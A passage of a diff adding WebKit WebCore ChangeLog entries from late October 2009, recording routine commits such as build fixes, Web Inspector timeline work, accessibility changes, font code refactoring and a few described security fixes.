+        http://trac.webkit.org/changeset/50259
+
+        * WebCore.gypi: Renamed and added files.
+
+2009-10-29  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Implement DELETE HTTP method for XmlHttpRequest
+        https://bugs.webkit.org/show_bug.cgi?id=30894
+
+        No new tests as this functionality is already tested by the 
+        xmlhttprequest LayoutTests. As this patch depends on an unreleased
+        version of the dependent QtNetwork library and the tests will be
+        enabled later once the dependent library is released (and the
+        buildbot is updated).
+
+        * platform/network/qt/QNetworkReplyHandler.cpp:
+        (WebCore::QNetworkReplyHandler::QNetworkReplyHandler):
+        (WebCore::QNetworkReplyHandler::start):
+
+2009-10-29  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Part of <http://webkit.org/b/30483>.
+        Web Inspector: Always show the Local and Session Storage Views.
+        
+        Even if the length of the DOM Storage entry array is 0, still
+        generate the Datagrid because users can add things storage items
+        through the UI, so we should allow them to even if there isn't
+        anything there currently.
+
+        * English.lproj/localizedStrings.js: Removed "This Storage is Empty".
+        * inspector/front-end/DOMStorageItemsView.js:
+        (WebInspector.DOMStorageItemsView.prototype._showDOMStorageEntries):
+
+2009-10-29  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Add TimelinePanel into the panels enum.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30915
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::specialPanelForJSName):
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::):
+
+2009-10-29  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Oliver Hunt.
+
+        [GTK] Threading problems with some of the tests
+        https://bugs.webkit.org/show_bug.cgi?id=30814
+
+        Create strings shared among threads with crossThreadString
+        constructor method.
+
+        * storage/Database.cpp:
+        (WebCore::Database::Database):
+
+2009-10-29  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+
+        Reviewed by Gustavo Noronha.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30308
+        
+        Add support for ARGB videos.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::paint):
+        Create the Cairo image surface for ARGB32 or RGB24
+        depending on the buffer's caps.
+        
+        * platform/graphics/gtk/VideoSinkGStreamer.cpp:
+        (webkit_video_sink_timeout_func):
+        (webkit_video_sink_render):
+        Handle ARGB video and convert GStreamer's ARGB to
+        Cairo's for displaying.
+
+2009-10-29  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by David Levin.
+
+        [chromium] expose a method to access memory usage information in ChromiumBridge
+        Declare a static method to be implemented by http://codereview.chromium.org/332010/
+        https://bugs.webkit.org/show_bug.cgi?id=30829
+
+        * platform/chromium/ChromiumBridge.h:
+
+2009-10-29  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25679
+        [Gtk] Improve accessibility of focusable lists
+
+        Implements the AtkSelection interface and enables the corresponding
+        (and expected) object:selection-changed event.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (optionFromList):
+        (optionFromSelection):
+        (atk_selection_interface_init):
+        (webkit_accessible_selection_add_selection):
+        (webkit_accessible_selection_clear_selection):
+        (webkit_accessible_selection_ref_selection):
+        (webkit_accessible_selection_get_selection_count):
+        (webkit_accessible_selection_is_child_selected):
+        (webkit_accessible_selection_remove_selection):
+        (webkit_accessible_selection_select_all_selection):
+        (GetAtkInterfaceTypeFromWAIType):
+        * accessibility/gtk/AXObjectCacheAtk.cpp:
+        (AXObjectCache::postPlatformNotification):
+
+2009-10-29  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Bug 30655 - Only plain text should be copied to clipboard for TextArea.
+        https://bugs.webkit.org/show_bug.cgi?id=30655
+
+        * editing/Editor.cpp:
+        (WebCore::nodeIsInTextFormControl):
+        (WebCore::Editor::cut):
+        (WebCore::Editor::copy):
+
+2009-10-29  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: hide timeline for now - not yet ready.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30912
+
+        * inspector/front-end/inspector.js:
+        (WebInspector._createPanels):
+
+2009-10-29  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed: deploy Web Inspector's images in WebCore.gypi.
+
+        * WebCore.gypi:
+
+2009-10-29  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: get rid of timelineProfilerEnabled method.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30911
+
+        * inspector/InspectorBackend.cpp:
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::setWindowVisible):
+        * inspector/InspectorController.h:
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype._toggleTimelineButtonClicked):
+
+2009-10-29  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Create stub methods for raw cookies access in ChromiumBridge.h
+
+        https://bugs.webkit.org/show_bug.cgi?id=30910
+
+        * platform/chromium/ChromiumBridge.h:
+
+2009-10-29  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's RareData
+        https://bugs.webkit.org/show_bug.cgi?id=30858
+
+        Inherits RareData struct from Noncopyable because it is
+        instantiated by 'new' in WebCore/css/CSSSelector.h:259 and 
+        it is no need to be copyable.
+
+        * css/CSSSelector.h:
+
+2009-10-29  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's ShorthandScope
+        https://bugs.webkit.org/show_bug.cgi?id=30859
+
+        Inherits ShorthandScope class from FastAllocBase because it is 
+        instantiated by 'new' in WebCore/css/CSSParser.cpp:902 and 
+        it is no need to be copyable.        
+
+        * css/CSSParser.h:
+
+2009-10-29  Zoltan Horvath  <zoltan@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Allow custom memory allocation control for WebCore's AXObjectCache
+        https://bugs.webkit.org/show_bug.cgi?id=30848
+
+        Inherits AXObjectCache class from FastAllocBase because it is
+        instantiated by 'new' in WebCore/dom/Document.cpp:1537 and                                
+        it is no need to be copyable.
+
+        * accessibility/AXObjectCache.h:
+
+2009-10-28  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Don't run JavaScript URLs in view source mode
+        https://bugs.webkit.org/show_bug.cgi?id=30881
+
+        Just say no.
+
+        Test: http/tests/security/view-source-no-javascript-url.html
+
+        * bindings/ScriptControllerBase.cpp:
+        (WebCore::ScriptController::executeIfJavaScriptURL):
+
+2009-10-29  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed. Fixes style problems pointed out by Evan Martin.
+
+        * platform/gtk/Language.cpp:
+        (WebCore::defaultLanguage):
+
+2009-10-29  Dan Bernstein  <mitz@apple.com>
+
+        Rubber-stamped by Mark Rowe.
+
+        64-bit Leopard build fix after r50259
+        
+        * platform/graphics/mac/ComplexTextControllerATSUI.cpp:
+        Declared ATSUTextInserted in 64-bit.
+        (WebCore::fontHasMirroringInfo): Use %d format and cast to int.
+        (WebCore::disableLigatures): Ditto.
+        (WebCore::initializeATSUStyle): Ditto.
+        (WebCore::ComplexTextController::collectComplexTextRunsForCharacters): Ditto.
+
+2009-10-29  Dan Bernstein  <mitz@apple.com>
+
+        Tiger build fix after r50259
+
+        * platform/graphics/mac/ComplexTextController.h:
+        * platform/graphics/mac/ComplexTextControllerATSUI.cpp:
+
+2009-10-29  Dan Bernstein  <mitz@apple.com>
+
+        Attempted Tiger build fix after r50259
+
+        * platform/graphics/mac/ComplexTextControllerATSUI.cpp:
+
+2009-10-28  Steve Falkenburg  <sfalken@apple.com>
+
+        Rubber stamped by Mark Rowe.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30899
+        WebKit fails to build release on 32-bit Windows systems
+
+        * WebCore.vcproj/WebCore.vcproj: Excluded files from project.
+        * bindings/js/JSBindingsAllInOne.cpp: Added.
+
+2009-10-28  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Jon Honeycutt.
+
+        Fixed typos in color names.
+
+        * inspector/front-end/Color.js:
+
+2009-10-28  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Share code between the ATSUI- and Core Text-based Font implementations by doing the
+        following:
+        - Generalize CoreTextController as ComplexTextController, keeping the Core Text-specific
+          parts in ComplexTextControllerCoreText.cpp.
+        - Generalize FontMacCoreText as FontComplexTextMac using ComplexTextController
+        - Implement ATSUI-specific parts of ComplexTextController in ComplexTextControllerATSUI.
+        - Remove FontMacATSUI.
+
+        * WebCore.xcodeproj/project.pbxproj: Removed CoreTextController.{cpp,h}, FontMacATSUI.mm,
+        and FontMacCoreText.cpp, and added ComplexTextController.{cpp,h},
+        ComplexTextControllerATSUI.cpp, ComplexTextControllerCoreText.cpp, and
+        FontComplexTextMac.cpp.
+
+        * platform/graphics/mac/ComplexTextController.cpp: Copied from CoreTextController.cpp and
+        kept the non-Core Text-specific bits.
+        (WebCore::ComplexTextController::ComplexTextController): Updated for renames, including
+        its own.
+        (WebCore::ComplexTextController::offsetForPosition): Updated for renames and for
+        m_complexTextRuns holding references instead of objects.
+        (WebCore::ComplexTextController::collectComplexTextRuns): Updated for renames, including
+        its own.
+        (WebCore::ComplexTextController::advance): Updated for renames.
+        (WebCore::ComplexTextController::adjustGlyphsAndAdvances): Updated for renames and for
+        m_complexTextRuns holding references instead of objects, and changed to use the glyphs()
+        and advances() accessors.
+
+        * platform/graphics/mac/ComplexTextController.h: Copied from CoreTextController.h and
+        renamed CoreTextController to ComplexTextController and CoreTextRun to ComplexTextRun. Made
+        the latter RefCounted, added ATSUI-specific members to it, and made some other members
+        Core Text-specific. Renamed m_coreTextRuns to m_complexTextRuns and made it hold references
+        rather than objects.
+        (WebCore::ComplexTextController::ComplexTextRun::create):
+        (WebCore::ComplexTextController::ComplexTextRun::glyphs):
+        (WebCore::ComplexTextController::ComplexTextRun::advances):
+
+        * platform/graphics/mac/ComplexTextControllerATSUI.cpp: Added. Includes ATSUI-specific
+        parts of the ComplexTextController implementation. 
+        (WebCore::ComplexTextController::ComplexTextRun::overrideLayoutOperation): This ATSUI
+        callback populates the ComplexTextRun’s glyphs, advances and indices vectors. It is invoked
+        when the ComplexTextRun constructor calls ATSUGetGlyphBounds().
+        (WebCore::isArabicLamWithAlefLigature): Helper function, copied from FontMacATSUI.mm.
+        (WebCore::shapeArabic): Helper function, adapted from FontMacATSUI.mm.
+        (WebCore::ComplexTextController::ComplexTextRun::ComplexTextRun): Sets up the
+        ATSUTextLayout, substituting the text buffer if necessary for things like shaping Arabic,
+        mirroring glyphs or directionality overrides, then calls ATSUGetGlyphBounds() in order to
+        get the glyphs, advances and indices vectors populated.
+        (WebCore::fontHasMirroringInfo): Helper function, copied from FontMacATSUI.mm.
+        (WebCore::disableLigatures): Ditto.
+        (WebCore::initializeATSUStyle): Ditto, somewhat cleaned up and simplified.
+        (WebCore::ComplexTextController::collectComplexTextRunsForCharacters): Constructs
+        ComplexTextRuns, either missing-glyphs ones or ATSUTextLayout-based ones.
+
+        * platform/graphics/mac/ComplexTextControllerCoreText.cpp: Copied from
+        CoreTextController.cpp and kept the Core Text-specific bits.
+        (WebCore::ComplexTextController::ComplexTextRun::ComplexTextRun): Updated for renames,
+        including its own, and moved the code to initialize m_glyphs and m_advances here. Previously
+        this was done in adjustGlyphsAndAdvances().
+        (WebCore::ComplexTextController::collectComplexTextRunsForCharacters): Updated for renames,
+        including its own.
+        * platform/graphics/mac/CoreTextController.cpp: Removed.
+        * platform/graphics/mac/CoreTextController.h: Removed.
+        * platform/graphics/mac/FontComplexTextMac.cpp: Renamed FontMacCoreText.cpp to this.
+        (WebCore::Font::selectionRectForComplexText): Changed to use ComplexTextController instead
+        of CoreTextController.
+        (WebCore::Font::drawComplexText): Ditto.
+        (WebCore::Font::floatWidthForComplexText): Ditto.
+        (WebCore::Font::offsetForPositionForComplexText): Ditto.
+        * platform/graphics/mac/FontMacATSUI.mm: Removed.
+        * platform/graphics/mac/FontMacCoreText.cpp: Removed.
+
+2009-10-27  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        WAI-ARIA: add support for 'option' role
+        https://bugs.webkit.org/show_bug.cgi?id=30843
+
+        Test: accessibility/aria-option-role.html
+
+        * accessibility/AccessibilityListBoxOption.h:
+        (WebCore::AccessibilityListBoxOption::canHaveChildren):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::RoleEntry::):
+        (WebCore::AccessibilityRenderObject::canHaveChildren):
+
+2009-10-28  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix GCC compiler warnings in WebCore, and enable -Wall and -Werror for Chromium build.
+        https://bugs.webkit.org/show_bug.cgi?id=30716
+
+        * WebCore.gyp/WebCore.gyp:  Enable "chromium_code" flag, just on Mac build for now.
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::createARIARoleMap):  Fix struct visibiity warning.
+        * bindings/v8/ScriptCallStack.h:  Fix out-of-order member initialization warning.
+        * bindings/v8/V8Collection.h:
+        (WebCore::getV8Object):  Function in header should not be 'static' (fixes unused-static warning.)
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertNewNodeToV8Object):  Fix signed/unsigned comparison warning.
+        * bindings/v8/V8GCController.cpp:
+        (WebCore::ObjectGrouperVisitor::applyGrouping):  Fix unused-variable warning.
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):  Enable ListButtonPart case to avoid
+            warning about missing cases in 'switch' statement.
+        * editing/EditorCommand.cpp:
+        (WebCore::createCommandMap):  Fix struct visibiity warning.
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::State::State):  Fix out-of-order member initialization warning.
+        * rendering/RenderMediaControlsChromium.cpp:
+        (WebCore::RenderMediaControlsChromium::shouldRenderMediaControlPart):  Add empty 'default' case in
+            'switch' statement to avoid missing-case warning.
+        (WebCore::RenderMediaControlsChromium::paintMediaControlsPart):  Ditto.
+        * xml/XPathFunctions.cpp:
+        (WebCore::XPath::createFunctionMap):  Fix struct visibiity warning.
+
+2009-10-29  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        REGRESSION: crashes in WebCore::RedirectScheduler::timerFired(WebCore::Timer<WebCore::RedirectScheduler>*)
+        https://bugs.webkit.org/show_bug.cgi?id=30839
+
+        Added null check for the case when the frame is detached from the page.
+
+        * loader/RedirectScheduler.cpp:
+        (WebCore::RedirectScheduler::timerFired):
+
+2009-10-28  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30817
+        Use parentObjectUnignored instead of parentObject in webkit_accessible_get_parent
+
+        Also removes the hack I had originally added to solve bug 25411, because
+        the fix here is what I should have done in the first place.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_get_parent):
+
+2009-10-28  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30805
+        Add MessageQueue::removeIf(Predicate&) to remove certain tasks without pulling them from the queue.
+        Existing Database tests cover this, no change in functionality.
+
+        * storage/DatabaseThread.cpp:
+        (WebCore::SameDatabasePredicate::SameDatabasePredicate): Added predicate that flags the tasks belonging to a specified database.
+        (WebCore::SameDatabasePredicate::operator()):
+        (WebCore::DatabaseThread::unscheduleDatabaseTasks): changed to use the new removeIf method.
+
+2009-10-28  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Glue subsequent timeline records with same category
+        and title together.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30885
+
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype.addRecordToTimeline):
+        (WebInspector.TimelinePanel.prototype._formatRecord):
+        (WebInspector.TimelineRecordTreeElement.prototype.onattach):
+        (WebInspector.TimelineRecordTreeElement.prototype.refresh):
+
+2009-10-28  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez.
+
+        [GTK] Fails new test fast/js/navigator-language.html
+        https://bugs.webkit.org/show_bug.cgi?id=30440
+
+        Reimplement WebCore::defaultLanguage to account for changes in
+        locale done by setLocale.
+
+        Already existing test: fast/js/navigator-language.html
+
+        * platform/gtk/Language.cpp:
+        (WebCore::defaultLanguage):
+
+2009-10-28  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7303145> 
+        Can't exit full screen mode or restart movie after pressing command -R.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::removedFromDocument):
+        (WebCore::HTMLMediaElement::documentWillBecomeInactive):
+            Exit from fullscreen if necessary.
+        * html/HTMLMediaElement.h:
+
+2009-10-28  Alexey Proskuryakov  <ap@apple.com>
+
+        Unreviewed - a trivial fix to get Windows bots running.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30841
+        <rdar://problem/7342730> WebKit should not pass Referer header through a redirect to a non-secure site
+
+        * platform/network/cf/ResourceRequestCFNet.cpp: (WebCore::setHeaderFields): Don't try to
+        access empty vector's data.
+
+2009-10-28  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25897
+        [Gtk] Extraneous object of ROLE_PANEL in hierarchy for entries
+
+        Remove the extraneous object of ROLE_PANEL.
+
+        * accessibility/gtk/AccessibilityObjectAtk.cpp:
+        (AccessibilityObject::accessibilityPlatformIncludesObject):
+
+2009-10-28  Jonathan Dixon  <joth@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Bug 30547: (Chromium) searchbox not rendered properly due to the css property -webkit-border-radius
+        https://bugs.webkit.org/show_bug.cgi?id=30547
+
+        Test: fast/css/text-input-with-webkit-border-radius.html
+
+        * rendering/RenderThemeChromiumWin.cpp:
+        (WebCore::RenderThemeChromiumWin::paintTextFieldInternal):
+          Implemented rounded border rendering in Chromium Windows theme renderer.
+
+2009-10-28  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Pull items collections from resources panel and
+        timeline panel into AbstractTimelinePanel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30875
+
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel):
+        (WebInspector.AbstractTimelinePanel.prototype.populateSidebar):
+        (WebInspector.AbstractTimelinePanel.prototype.createItemTreeElement):
+        (WebInspector.AbstractTimelinePanel.prototype.createItemGraph):
+        (WebInspector.AbstractTimelinePanel.prototype._showCategory):
+        (WebInspector.AbstractTimelinePanel.prototype._hideCategory):
+        (WebInspector.AbstractTimelinePanel.prototype.filter):
+        (WebInspector.AbstractTimelinePanel.prototype._createGraph):
+        (WebInspector.AbstractTimelinePanel.prototype.updateMainViewWidth):
+        (WebInspector.AbstractTimelinePanel.prototype.refresh):
+        (WebInspector.AbstractTimelinePanel.prototype.reset):
+        (WebInspector.AbstractTimelinePanel.prototype.get calculator):
+        (WebInspector.AbstractTimelinePanel.prototype.set calculator):
+        (WebInspector.AbstractTimelinePanel.prototype.addItem):
+        (WebInspector.AbstractTimelinePanel.prototype.removeItem):
+        (WebInspector.AbstractTimelinePanel.prototype.refreshItem):
+        (WebInspector.AbstractTimelinePanel.prototype.revealAndSelectItem):
+        (WebInspector.AbstractTimelinePanel.prototype.sortItems):
+        (WebInspector.AbstractTimelinePanel.prototype.adjustScrollPosition):
+        (WebInspector.AbstractTimelineCategory):
+        (WebInspector.AbstractTimelineCategory.prototype.toString):
+        * inspector/front-end/ResourceCategory.js:
+        (WebInspector.ResourceCategory):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel):
+        (WebInspector.ResourcesPanel.prototype.createItemTreeElement):
+        (WebInspector.ResourcesPanel.prototype.createItemGraph):
+        (WebInspector.ResourcesPanel.prototype.isCategoryVisible):
+        (WebInspector.ResourcesPanel.prototype.populateSidebar):
+        (WebInspector.ResourcesPanel.prototype.get searchableViews):
+        (WebInspector.ResourcesPanel.prototype.get searchResultsSortFunction.sortFuction):
+        (WebInspector.ResourcesPanel.prototype.get searchResultsSortFunction):
+        (WebInspector.ResourcesPanel.prototype.searchMatchFound):
+        (WebInspector.ResourcesPanel.prototype.searchCanceled):
+        (WebInspector.ResourcesPanel.prototype.performSearch):
+        (WebInspector.ResourcesPanel.prototype.refresh):
+        (WebInspector.ResourcesPanel.prototype.reset):
+        (WebInspector.ResourcesPanel.prototype.removeResource):
+        (WebInspector.ResourcesPanel.prototype.addMessageToResource):
+        (WebInspector.ResourcesPanel.prototype.clearMessages):
+        (WebInspector.ResourcesPanel.prototype.refreshResource):
+        (WebInspector.ResourcesPanel.prototype.recreateViewForResourceIfNeeded):
+        (WebInspector.ResourcesPanel.prototype.showResource):
+        (WebInspector.ResourcesPanel.prototype._sortResourcesIfNeeded):
+        (WebInspector.ResourcesPanel.prototype._toggleLargerResources):
+        (WebInspector.ResourcesPanel.prototype._toggleResourceTracking):
+        (WebInspector.ResourcesPanel.prototype.get _resources):
+        (WebInspector.ResourceTimeCalculator.prototype._upperBound):
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype.get categories):
+        (WebInspector.TimelinePanel.prototype.populateSidebar):
+        (WebInspector.TimelinePanel.prototype.addRecordToTimeline):
+        (WebInspector.TimelinePanel.prototype.createItemTreeElement):
+        (WebInspector.TimelinePanel.prototype.createItemGraph):
+        (WebInspector.TimelinePanel.prototype._formatRecord):
+        (WebInspector.TimelineCategory):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+
+2009-10-28  Kelly Norton  <knorton@google.com>
+
+        Reviewed by Pavel Feldman.
+
+        Resets InspectorFrontend in InspectorTimelineAgent instead of removing it so
+        that it remains active on refreshs and page transitions.
+        https://bugs.webkit.org/show_bug.cgi?id=30874
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::setFrontendProxyObject):
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::resetFrontendProxyObject):
+        * inspector/InspectorTimelineAgent.h:
+
+2009-10-27  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Provide a way to get counter values with layoutTestContoller
+        https://bugs.webkit.org/show_bug.cgi?id=30555
+
+        Expose WebCore::counterValueForElement as a WebCore API.
+
+        * WebCore.base.exp:
+        * rendering/RenderTreeAsText.cpp:
+        (WebCore::writeCounterValuesFromChildren):
+        (WebCore::counterValueForElement):
+        * rendering/RenderTreeAsText.h:
+
+2009-10-28  Nate Chapin  <japhet@chromium.org>
+
+        Unreviewed, Chromium build fix for r50225.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::defaultObjectContentType):
+
+2009-10-28  Eric Z. Ayers  <zundel@google.com>
+
+        Reviewed by Pavel Feldman.
+
+        Adds InspectorTimelineAgent  instrumentation for encountering a
+        <SCRIPT> tag when parsing an HTML document. 
+
+        https://bugs.webkit.org/show_bug.cgi?id=30861
+
+        * bindings/js/ScriptSourceCode.h:
+        (WebCore::ScriptSourceCode::ScriptSourceCode):
+        (WebCore::ScriptSourceCode::startLine):
+        (WebCore::ScriptSourceCode::url):
+        * html/HTMLTokenizer.cpp:
+        (WebCore::HTMLTokenizer::scriptHandler):
+        (WebCore::HTMLTokenizer::scriptExecution):
+        * inspector/InspectorTimelineAgent.cpp:
+        (WebCore::InspectorTimelineAgent::willLoadXHR):
+        (WebCore::InspectorTimelineAgent::willScriptTag):
+        (WebCore::InspectorTimelineAgent::didScriptTag):
+        * inspector/InspectorTimelineAgent.h:
+        (WebCore::):
+        * inspector/TimelineRecordFactory.cpp:
+        (WebCore::TimelineRecordFactory::createScriptTagTimelineRecord):
+        * inspector/TimelineRecordFactory.h:
+        * inspector/front-end/TimelineAgent.js:
+
+2009-10-28  Steve Block  <steveblock@google.com>
+
+        Reviewed by Darin Adler.
+
+        Makes sure that Geolocation watch IDs remain positive on overflow.
+        https://bugs.webkit.org/show_bug.cgi?id=30122
+
+        No new tests possible.
+
+        * page/Geolocation.cpp: Modified.
+        (WebCore::Geolocation::watchPosition): Modified. Reset the watch ID to 1 on overflow.
+
+2009-10-28  George Staikos  <george.staikos@torchmobile.com>
+
+        Attempt to fix the Mac debug build after 50225.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::defaultObjectContentType):
+
+2009-10-28  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30841
+        <rdar://problem/7342730> WebKit should not pass Referer header through a redirect to a non-secure site
+
+        Tests: http/tests/ssl/referer-301.html
+               http/tests/ssl/referer-303.html
+
+        * platform/network/mac/ResourceHandleMac.mm:
+        (-[WebCoreResourceHandleAsDelegate connection:willSendRequest:redirectResponse:]):
+        Remove Referer header if redirecting from https to another protocol.
+
+        * platform/network/ResourceRequestBase.cpp:
+        (WebCore::ResourceRequestBase::clearHTTPReferrer): Update request counterparts, as it is
+        always done when changing or adding header fields.
+        (WebCore::ResourceRequestBase::clearHTTPOrigin): Ditto.
+
+        * platform/network/ResourceRequestBase.h: clearHTTPReferrer() and clearHTTPOrigin() are
+        no longer inline, since they have non-trivial implementations.
+
+        * platform/network/mac/ResourceRequestMac.mm:
+        (WebCore::ResourceRequest::doUpdatePlatformRequest): Fixed to synchronize header field removals.
+        (WebCore::ResourceRequest::doUpdateResourceRequest): Ditto.
+
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        (WebCore::willSendRequest):
+        * platform/network/cf/ResourceRequestCFNet.cpp:
+        (WebCore::setHeaderFields):
+        (WebCore::ResourceRequest::doUpdatePlatformRequest):
+        (WebCore::ResourceRequest::doUpdateResourceRequest):
+        Match Mac changes.
+        
+2009-10-28  Joe Mason  <jmason@rim.com>
+
+        Reviewed by Adam Treat.
+
+        Add FrameLoader::defaultObjectContentType, containing common code for
+        implementing FrameLoaderClient::objectContentType.  (Currently the gtk
+        and win ports have copied this code, and the qt port uses similar code
+        with a few extra clauses.  Moving this to a utility function cuts down
+        on copied code.)   This causes no behavioural change.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30868
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::defaultObjectContentType):
+        * loader/FrameLoader.h:
+
+2009-10-28  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] QWebHistory::saveState() is inconsistent with the Qt API
+        https://bugs.webkit.org/show_bug.cgi?id=30710
+
+        Enforce the versioning, by ignoring any version different
+        from 1.
+
+        * history/qt/HistoryItemQt.cpp:
+        (WebCore::HistoryItem::restoreState):
+        (WebCore::HistoryItem::saveState):
+
+2009-10-28  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed: follow up fix to InspectorControllerStub.
+        Define it after inspector.js due to namespace
+
+        https://bugs.webkit.org/show_bug.cgi?id=30866
+
+        * inspector/front-end/inspector.html:
+
+2009-10-28  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Add InspectorController stub in order to
+        support opening in standalone mode.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30866
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/InspectorControllerStub.js: Added.
+        (.WebInspector.InspectorControllerStub):
+        (.WebInspector.InspectorControllerStub.prototype.wrapCallback):
+        (.WebInspector.InspectorControllerStub.prototype.isWindowVisible):
+        (.WebInspector.InspectorControllerStub.prototype.platform):
+        (.WebInspector.InspectorControllerStub.prototype.closeWindow):
+        (.WebInspector.InspectorControllerStub.prototype.attach):
+        (.WebInspector.InspectorControllerStub.prototype.detach):
+        (.WebInspector.InspectorControllerStub.prototype.storeLastActivePanel):
+        (.WebInspector.InspectorControllerStub.prototype.clearMessages):
+        (.WebInspector.InspectorControllerStub.prototype.searchingForNode):
+        (.WebInspector.InspectorControllerStub.prototype.search):
+        (.WebInspector.InspectorControllerStub.prototype.toggleNodeSearch):
+        (.WebInspector.InspectorControllerStub.prototype.setAttachedWindowHeight):
+        (.WebInspector.InspectorControllerStub.prototype.moveByUnrestricted):
+        (.WebInspector.InspectorControllerStub.prototype.addResourceSourceToFrame):
+        (.WebInspector.InspectorControllerStub.prototype.addSourceToFrame):
+        (.WebInspector.InspectorControllerStub.prototype.getResourceDocumentNode):
+        (.WebInspector.InspectorControllerStub.prototype.highlightDOMNode):
+        (.WebInspector.InspectorControllerStub.prototype.hideDOMNodeHighlight):
+        (.WebInspector.InspectorControllerStub.prototype.inspectedWindow):
+        (.WebInspector.InspectorControllerStub.prototype.loaded):
+        (.WebInspector.InspectorControllerStub.prototype.localizedStringsURL):
+        (.WebInspector.InspectorControllerStub.prototype.windowUnloading):
+        (.WebInspector.InspectorControllerStub.prototype.hiddenPanels):
